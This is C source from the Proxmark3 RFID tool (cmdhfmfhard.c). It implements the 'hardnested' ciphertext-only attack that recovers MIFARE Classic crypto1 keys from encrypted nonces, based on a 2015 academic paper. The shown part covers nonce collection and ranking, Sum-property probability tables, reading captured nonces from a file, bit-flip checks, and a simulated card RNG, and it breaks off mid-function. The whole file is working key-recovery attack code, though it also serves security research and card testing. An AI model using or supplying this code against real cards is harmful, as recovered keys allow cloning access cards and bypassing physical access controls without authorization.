Merge branch 'master' of https://github.com/iceman1001/proxmark3

[proxmark3-svn] / client / cmdhfmfhard.c

//-----------------------------------------------------------------------------
// Copyright (C) 2015 piwi
// fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
// fiddled with 2016 Matrix ( sub testing of nonces while collecting )
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
//   Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
//   Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on 
//   Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
#include "cmdhfmfhard.h"
#include "cmdhw.h"

#define CONFIDENCE_THRESHOLD    0.95            // Collect nonces until we are certain enough that the following brute force is successfull
#define GOOD_BYTES_REQUIRED     13              // default 28, could be smaller == faster
#define NONCES_THRESHOLD        5000            // every N nonces check if we can crack the key
#define CRACKING_THRESHOLD      36.0f //38.50f          // as 2^38.5
#define MAX_BUCKETS             128

#define END_OF_LIST_MARKER              0xFFFFFFFF

static const float p_K[257] = {         // the probability that a random nonce has a Sum Property == K 
        0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
        0.0290 };
                
typedef struct noncelistentry {
        uint32_t nonce_enc;
        uint8_t par_enc;
        void *next;
} noncelistentry_t;

typedef struct noncelist {
        uint16_t num;
        uint16_t Sum;
        uint16_t Sum8_guess;
        uint8_t BitFlip[2];
        float Sum8_prob;
        bool updated;
        noncelistentry_t *first;
        float score1;
        uint_fast8_t score2;
} noncelist_t;

static size_t nonces_to_bruteforce = 0;
static noncelistentry_t *brute_force_nonces[256];
static uint32_t cuid = 0;
static noncelist_t nonces[256];
static uint8_t best_first_bytes[256];
static uint16_t first_byte_Sum = 0;
static uint16_t first_byte_num = 0;
static uint16_t num_good_first_bytes = 0;
static uint64_t maximum_states = 0;
static uint64_t known_target_key;
static bool write_stats = false;
static FILE *fstats = NULL;


typedef enum {
        EVEN_STATE = 0,
        ODD_STATE = 1
} odd_even_t;

#define STATELIST_INDEX_WIDTH 16
#define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)

typedef struct {
        uint32_t *states[2];
        uint32_t len[2];
        uint32_t *index[2][STATELIST_INDEX_SIZE];
} partial_indexed_statelist_t;

typedef struct {
        uint32_t *states[2];
        uint32_t len[2];
        void* next;
} statelist_t;


static partial_indexed_statelist_t partial_statelist[17];
static partial_indexed_statelist_t statelist_bitflip;
static statelist_t *candidates = NULL;

bool field_off = false;

uint64_t foundkey = 0;
size_t keys_found = 0;
size_t bucket_count = 0;
statelist_t* buckets[MAX_BUCKETS];
static uint64_t total_states_tested = 0;
size_t thread_count = 4;

// these bitsliced states will hold identical states in all slices
bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];

// arrays of bitsliced states with identical values in all slices
bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];

#define EXACT_COUNT

static bool generate_candidates(uint16_t, uint16_t);
static bool brute_force(void);

static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) 
{
        uint8_t first_byte = nonce_enc >> 24;
        noncelistentry_t *p1 = nonces[first_byte].first;
        noncelistentry_t *p2 = NULL;

        if (p1 == NULL) {                       // first nonce with this 1st byte
                first_byte_num++;
                first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
                // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n", 
                        // nonce_enc, 
                        // par_enc, 
                        // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01, 
                        // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
        }

        while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
                p2 = p1;
                p1 = p1->next;
        }
        
        if (p1 == NULL) {                                                                                                                                       // need to add at the end of the list
                if (p2 == NULL) {                       // list is empty yet. Add first entry.
                        p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
                } else {                                        // add new entry at end of existing list.
                        p2 = p2->next = malloc(sizeof(noncelistentry_t));
                }
                if (p2 == NULL) return 0;                                                       // memory allocation failed
        }
        else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) {                    // found distinct 2nd byte. Need to insert.
                if (p2 == NULL) {                       // need to insert at start of list
                        p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
                } else {
                        p2 = p2->next = malloc(sizeof(noncelistentry_t));
                }
                if (p2 == NULL) return 0;                                                       // memory allocation failed
        } else {
                return 0;                                                                       // we have seen this 2nd byte before. Nothing to add or insert.
        }

        // add or insert new data
        p2->next = p1;
        p2->nonce_enc = nonce_enc;
        p2->par_enc = par_enc;

    if(nonces_to_bruteforce < 256){
        brute_force_nonces[nonces_to_bruteforce] = p2;
        nonces_to_bruteforce++;
    }

        nonces[first_byte].num++;
        nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
        nonces[first_byte].updated = true;   // indicates that we need to recalculate the Sum(a8) probability for this first byte

        return 1;                               // new nonce added
}

static void init_nonce_memory(void)
{
        for (uint16_t i = 0; i < 256; i++) {
                nonces[i].num = 0;
                nonces[i].Sum = 0;
                nonces[i].Sum8_guess = 0;
                nonces[i].Sum8_prob = 0.0;
                nonces[i].updated = true;
                nonces[i].first = NULL;
        }
        first_byte_num = 0;
        first_byte_Sum = 0;
        num_good_first_bytes = 0;
}

static void free_nonce_list(noncelistentry_t *p)
{
        if (p == NULL) {
                return;
        } else {
                free_nonce_list(p->next);
                free(p);
        }
}

static void free_nonces_memory(void)
{
        for (uint16_t i = 0; i < 256; i++) {
                free_nonce_list(nonces[i].first);
        }
}

static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
{ 
        uint16_t sum = 0;
        for (uint16_t j = 0; j < 16; j++) {
                uint32_t st = state;
                uint16_t part_sum = 0;
                if (odd_even == ODD_STATE) {
                        for (uint16_t i = 0; i < 5; i++) {
                                part_sum ^= filter(st);
                                st = (st << 1) | ((j >> (3-i)) & 0x01) ;
                        }
                        part_sum ^= 1;          // XOR 1 cancelled out for the other 8 bits
                } else {
                        for (uint16_t i = 0; i < 4; i++) {
                                st = (st << 1) | ((j >> (3-i)) & 0x01) ;
                                part_sum ^= filter(st);
                        }
                }
                sum += part_sum;
        }
        return sum;
}

// static uint16_t SumProperty(struct Crypto1State *s)
// {
        // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
        // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
        // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
// }

static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k) 
{
        // for efficient computation we are using the recursive definition
        //                                              (K-k+1) * (n-k+1)
        // P(X=k) = P(X=k-1) * --------------------
        //                                                 k * (N-K-n+k)
        // and
        //           (N-K)*(N-K-1)*...*(N-K-n+1)
        // P(X=0) = -----------------------------
        //               N*(N-1)*...*(N-n+1)

        if (n-k > N-K || k > K) return 0.0;     // avoids log(x<=0) in calculation below
        if (k == 0) {
                // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
                double log_result = 0.0;
                for (int16_t i = N-K; i >= N-K-n+1; i--) {
                        log_result += log(i);
                } 
                for (int16_t i = N; i >= N-n+1; i--) {
                        log_result -= log(i);
                }
                return exp(log_result);
        } else {
                if (n-k == N-K) {       // special case. The published recursion below would fail with a divide by zero exception
                        double log_result = 0.0;
                        for (int16_t i = k+1; i <= n; i++) {
                                log_result += log(i);
                        }
                        for (int16_t i = K+1; i <= N; i++) {
                                log_result -= log(i);
                        }
                        return exp(log_result);
                } else {                        // recursion
                        return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
                }
        }
}

static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
{
        const uint16_t N = 256;

        if (k > K || p_K[K] == 0.0) return 0.0;

        double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
        if (p_T_is_k_when_S_is_K == 0.0) return 0.0;

        double p_S_is_K = p_K[K];
        double p_T_is_k = 0.0;
        for (uint16_t i = 0; i <= 256; i++) {
                if (p_K[i] != 0.0) {
                        p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
                }
        }
        if (p_T_is_k == 0.0) return 0.0;
        return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
}

static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff) 
{
        static const uint_fast8_t common_bits_LUT[256] = {
                8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
                4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
        };

        return common_bits_LUT[bytes_diff];
}

static void Tests()
{
        // printf("Tests: Partial Statelist sizes\n");
        // for (uint16_t i = 0; i <= 16; i+=2) {
                // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
        // }
        // for (uint16_t i = 0; i <= 16; i+=2) {
                // printf("Partial State List Even      [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
        // }
        
        // #define NUM_STATISTICS 100000
        // uint32_t statistics_odd[17];
        // uint64_t statistics[257];
        // uint32_t statistics_even[17];
        // struct Crypto1State cs;
        // time_t time1 = clock();

        // for (uint16_t i = 0; i < 257; i++) {
                // statistics[i] = 0;
        // }
        // for (uint16_t i = 0; i < 17; i++) {
                // statistics_odd[i] = 0;
                // statistics_even[i] = 0;
        // }
        
        // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
                // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
                // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
                // uint16_t sum_property = SumProperty(&cs);
                // statistics[sum_property] += 1;
                // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
                // statistics_even[sum_property]++;
                // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
                // statistics_odd[sum_property]++;
                // if (i%(NUM_STATISTICS/100) == 0) printf("."); 
        // }
        
        // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
        // for (uint16_t i = 0; i < 257; i++) {
                // if (statistics[i] != 0) {
                        // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
                // }
        // }
        // for (uint16_t i = 0; i <= 16; i++) {
                // if (statistics_odd[i] != 0) {
                        // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
                // }
        // }
        // for (uint16_t i = 0; i <= 16; i++) {
                // if (statistics_odd[i] != 0) {
                        // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
                // }
        // }

        // printf("Tests: Sum Probabilities based on Partial Sums\n");
        // for (uint16_t i = 0; i < 257; i++) {
                // statistics[i] = 0;
        // }
        // uint64_t num_states = 0;
        // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
                // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
                        // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
                        // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
                        // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
                // }
        // }
        // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
        // for (uint16_t i = 0; i < 257; i++) {
                // if (statistics[i] != 0) {
                        // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
                // }
        // }
        
        // printf("\nTests: Hypergeometric Probability for selected parameters\n");
        // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
        // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
        // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
        // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
        // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
        // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
        
        // struct Crypto1State *pcs;
        // pcs = crypto1_create(0xffffffffffff);
        // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state =  0x%06x\neven_state = 0x%06x\n", 
                // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
        // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
        // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state =  0x%06x\neven_state = 0x%06x\n",
                // best_first_bytes[0],
                // SumProperty(pcs),
                // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
        // //test_state_odd = pcs->odd & 0x00ffffff;
        // //test_state_even = pcs->even & 0x00ffffff;
        // crypto1_destroy(pcs);
        // pcs = crypto1_create(0xa0a1a2a3a4a5);
        // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state =  0x%06x\neven_state = 0x%06x\n",
                // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
        // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
        // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state =  0x%06x\neven_state = 0x%06x\n",
                // best_first_bytes[0],
                // SumProperty(pcs),
                // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
        // //test_state_odd = pcs->odd & 0x00ffffff;
        // //test_state_even = pcs->even & 0x00ffffff;
        // crypto1_destroy(pcs);
        // pcs = crypto1_create(0xa6b9aa97b955);
        // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state =  0x%06x\neven_state = 0x%06x\n",
                // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
        // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
        // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state =  0x%06x\neven_state = 0x%06x\n",
                // best_first_bytes[0],
                // SumProperty(pcs),
                // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
        //test_state_odd = pcs->odd & 0x00ffffff;
        //test_state_even = pcs->even & 0x00ffffff;
        // crypto1_destroy(pcs);

        
        // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));

        // printf("\nTests: Actual BitFlipProperties odd/even:\n");
        // for (uint16_t i = 0; i < 256; i++) {
                // printf("[%02x]:%c  ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
                // if (i % 8 == 7) {
                        // printf("\n");
                // }
        // }
        
        // printf("\nTests: Sorted First Bytes:\n");
        // for (uint16_t i = 0; i < 256; i++) {
                // uint8_t best_byte = best_first_bytes[i];
                // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n", 
                // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n", 
                        // i, best_byte, 
                        // nonces[best_byte].num,
                        // nonces[best_byte].Sum,
                        // nonces[best_byte].Sum8_guess,
                        // nonces[best_byte].Sum8_prob * 100,
                        // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
                        // //nonces[best_byte].score1,
                        // //nonces[best_byte].score2
                        // );
        // }
        
        // printf("\nTests: parity performance\n");
        // time_t time1p = clock();
        // uint32_t par_sum = 0;
        // for (uint32_t i = 0; i < 100000000; i++) {
                // par_sum += parity(i);
        // }
        // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);

        // time1p = clock();
        // par_sum = 0;
        // for (uint32_t i = 0; i < 100000000; i++) {
                // par_sum += evenparity32(i);
        // }
        // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);


}

static uint16_t sort_best_first_bytes(void)
{
        // sort based on probability for correct guess  
        for (uint16_t i = 0; i < 256; i++ ) {
                uint16_t j = 0;
                float prob1 = nonces[i].Sum8_prob;
                float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
                while (prob1 < prob2 && j < i) {
                        prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
                }
                if (j < i) {
                        for (uint16_t k = i; k > j; k--) {
                                best_first_bytes[k] = best_first_bytes[k-1];
                        }
                }
                best_first_bytes[j] = i;
        }

        // determine how many are above the CONFIDENCE_THRESHOLD
        uint16_t num_good_nonces = 0;
        for (uint16_t i = 0; i < 256; i++) {
                if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
                        ++num_good_nonces;
                }
        }
        
        if (num_good_nonces == 0) return 0;

        uint16_t best_first_byte = 0;

        // select the best possible first byte based on number of common bits with all {b'}
        // uint16_t max_common_bits = 0;
        // for (uint16_t i = 0; i < num_good_nonces; i++) {
                // uint16_t sum_common_bits = 0;
                // for (uint16_t j = 0; j < num_good_nonces; j++) {
                        // if (i != j) {
                                // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
                        // }
                // }
                // if (sum_common_bits > max_common_bits) {
                        // max_common_bits = sum_common_bits;
                        // best_first_byte = i;
                // }
        // }

        // select best possible first byte {b} based on least likely sum/bitflip property
        float min_p_K = 1.0;
        for (uint16_t i = 0; i < num_good_nonces; i++ ) {
                uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
                float bitflip_prob = 1.0;
                
                if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE])
                        bitflip_prob = 0.09375;
                
                nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
                
                if (p_K[sum8] * bitflip_prob <= min_p_K)
                        min_p_K = p_K[sum8] * bitflip_prob;
                
        }


        // use number of commmon bits as a tie breaker
        uint_fast8_t max_common_bits = 0;
        for (uint16_t i = 0; i < num_good_nonces; i++) {

                float bitflip_prob = 1.0;
                if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE])
                        bitflip_prob = 0.09375;
                
                if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
                        uint_fast8_t sum_common_bits = 0;
                        for (uint16_t j = 0; j < num_good_nonces; j++) {
                                sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
                        }
                        nonces[best_first_bytes[i]].score2 = sum_common_bits;
                        if (sum_common_bits > max_common_bits) {
                                max_common_bits = sum_common_bits;
                                best_first_byte = i;
                        }
                }
        }       

        // swap best possible first byte to the pole position
        if (best_first_byte != 0) {
                uint16_t temp = best_first_bytes[0];
                best_first_bytes[0] = best_first_bytes[best_first_byte];
                best_first_bytes[best_first_byte] = temp;
        }
        
        return num_good_nonces;
}

static uint16_t estimate_second_byte_sum(void) 
{       
        for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
                float Sum8_prob = 0.0;
                uint16_t Sum8 = 0;
                if (nonces[first_byte].updated) {
                        for (uint16_t sum = 0; sum <= 256; sum++) {
                                float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
                                if (prob > Sum8_prob) {
                                        Sum8_prob = prob;
                                        Sum8 = sum;
                                }
                        }
                        nonces[first_byte].Sum8_guess = Sum8;
                        nonces[first_byte].Sum8_prob = Sum8_prob;
                        nonces[first_byte].updated = false;
                }
        }
        return sort_best_first_bytes();
}       

static int read_nonce_file(void)
{
        FILE *fnonces = NULL;
        uint8_t trgBlockNo = 0;
        uint8_t trgKeyType = 0;
        uint8_t read_buf[9];
        uint32_t nt_enc1 = 0, nt_enc2 = 0;
        uint8_t par_enc = 0;
        int total_num_nonces = 0;
        
        if ((fnonces = fopen("nonces.bin","rb")) == NULL) { 
                PrintAndLog("Could not open file nonces.bin");
                return 1;
        }

        PrintAndLog("Reading nonces from file nonces.bin...");
        memset (read_buf, 0, sizeof (read_buf));
        size_t bytes_read = fread(read_buf, 1, 6, fnonces);
        if ( bytes_read == 0) {
                PrintAndLog("File reading error.");
                fclose(fnonces);
                return 1;
        }
        cuid = bytes_to_num(read_buf, 4);
        trgBlockNo = bytes_to_num(read_buf+4, 1);
        trgKeyType = bytes_to_num(read_buf+5, 1);
        size_t ret = 0;
        do {
                memset (read_buf, 0, sizeof (read_buf));
                if ((ret = fread(read_buf, 1, 9, fnonces)) == 9) {
                nt_enc1 = bytes_to_num(read_buf, 4);
                nt_enc2 = bytes_to_num(read_buf+4, 4);
                par_enc = bytes_to_num(read_buf+8, 1);
                //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
                //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
                add_nonce(nt_enc1, par_enc >> 4);
                add_nonce(nt_enc2, par_enc & 0x0f);
                total_num_nonces += 2;
        }
        } while (ret == 9);

        fclose(fnonces);
        PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
        return 0;
}

static void Check_for_FilterFlipProperties(void)
{
        printf("Checking for Filter Flip Properties...\n");
        uint16_t num_bitflips = 0;
        
        for (uint16_t i = 0; i < 256; i++) {
                nonces[i].BitFlip[ODD_STATE] = false;
                nonces[i].BitFlip[EVEN_STATE] = false;
        }
        
        for (uint16_t i = 0; i < 256; i++) {
                if (!nonces[i].first || !nonces[i^0x80].first || !nonces[i^0x40].first) continue;

                uint8_t parity1 = (nonces[i].first->par_enc) >> 3;                              // parity of first byte
                uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3;     // XOR 0x80 = last bit flipped
                uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3;    // XOR 0x40 = second last bit flipped
                
                if (parity1 == parity2_odd) {                           // has Bit Flip Property for odd bits
                        nonces[i].BitFlip[ODD_STATE] = true;
                        num_bitflips++;
                } else if (parity1 == parity2_even) {           // has Bit Flip Property for even bits
                        nonces[i].BitFlip[EVEN_STATE] = true;
                        num_bitflips++;
                }
        }
        
        if (write_stats)
                fprintf(fstats, "%d;", num_bitflips);
}

static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
{
        struct Crypto1State sim_cs = {0, 0};
        // init cryptostate with key:
        for(int8_t i = 47; i > 0; i -= 2) {
                sim_cs.odd  = sim_cs.odd  << 1 | BIT(test_key, (i - 1) ^ 7);
                sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
        }

        *par_enc = 0;
        uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
        for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
                uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
                uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec;    // encode the nonce byte
                *nt_enc = (*nt_enc << 8) | nt_byte_enc;         
                uint8_t ks_par = filter(sim_cs.odd);                                                                                    // the keystream bit to encode/decode the parity bit
                uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec);                                             // determine the nt byte's parity and encode it
                *par_enc = (*par_enc << 1) | nt_byte_par_enc;
        }
        
}

static void simulate_acquire_nonces()
{
        clock_t time1 = clock();
        bool filter_flip_checked = false;
        uint32_t total_num_nonces = 0;
        uint32_t next_fivehundred = 500;
        uint32_t total_added_nonces = 0;

        cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
        known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
        
        printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
        fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
        
        do {
                uint32_t nt_enc = 0;
                uint8_t par_enc = 0;

                simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
